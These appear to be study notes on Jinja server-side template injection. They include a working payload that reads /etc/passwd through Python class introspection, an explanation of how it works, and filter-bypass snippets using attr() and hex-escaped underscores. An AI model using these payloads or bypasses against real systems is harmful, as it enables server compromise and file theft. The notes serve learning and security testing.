Templating Engines
- Render a static file dynamically based on the context of the request and user.
- A templating engine leverages delimiters so developers can tell the engine where a template block starts and ends.
- Cross-site scripting vulnerabilities might also hint at an SSTI vulnerability since user-provided code is being entered into an unsanitized field.
- Common Jinja Payload:
## Python 2.7 only {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} (Replace mro[1] if using Python 3)
Dissecting the Jinja Payload
- ’’ –> Empty String
- class –> Class attribute, which returns str (string)
- mro –> Method Resolution Order
- A tuple of classes that are considered when looking for base classes during method resolution.
- In Python, a class can inherit from other classes.
- The mro attribute returned a tuple of classes in the order that an attribute would be searched for.
(<class '__main__.Strawberry'>, <class '__main__.Fruit'>, <class '__main__.Food'>, <class 'object'>)
- As of Python 3, whenever a class is created, the built-in object class is inherited.
- subclasses() –> Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive.
- subclasses()[40] –> The file subclass with a read function
- (‘/etc/passwd’).read()
Discovering SSTI Vulnerability
- In the Email template:
{{''.__class__}}–> Results in an ‘Illegal Template’ error - Investigate source code by searching
get_email_templateto find relevant function - Set breakpoint at render_template() as this is suspected to be returning the ‘Illegal Template’ error
- Jinja filter in render_template():
if safe_render and ".__" in template: throw("Illegal template") - Another vulnerability exists in Address template
SSTI Filter Evasion
- https://jinja.palletsprojects.com/en/3.0.x/templates/
- Using Jinja filters and the attr() function to bypass filters:
{% set foo = "foo" %} {% set bar = "bar" %} {% set foo.bar = "Just another variable" %} {{ foo|attr(bar) }}
{% set string = "ssti" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{{ string|attr(class) }}
# Should return the <class='str'> object
- Resources:
- https://0x00sec.org/t/explaining-server-side-template-injections/16297
- https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f
- https://0day.work/jinja2-template-injection-filter-bypasses/
{{()|attr('\x5f\x5fclass\x5f\x5f')}}for <class=’tuple’>{{''|attr('\x5f\x5fclass\x5f\x5f')}}for <class=’str’>
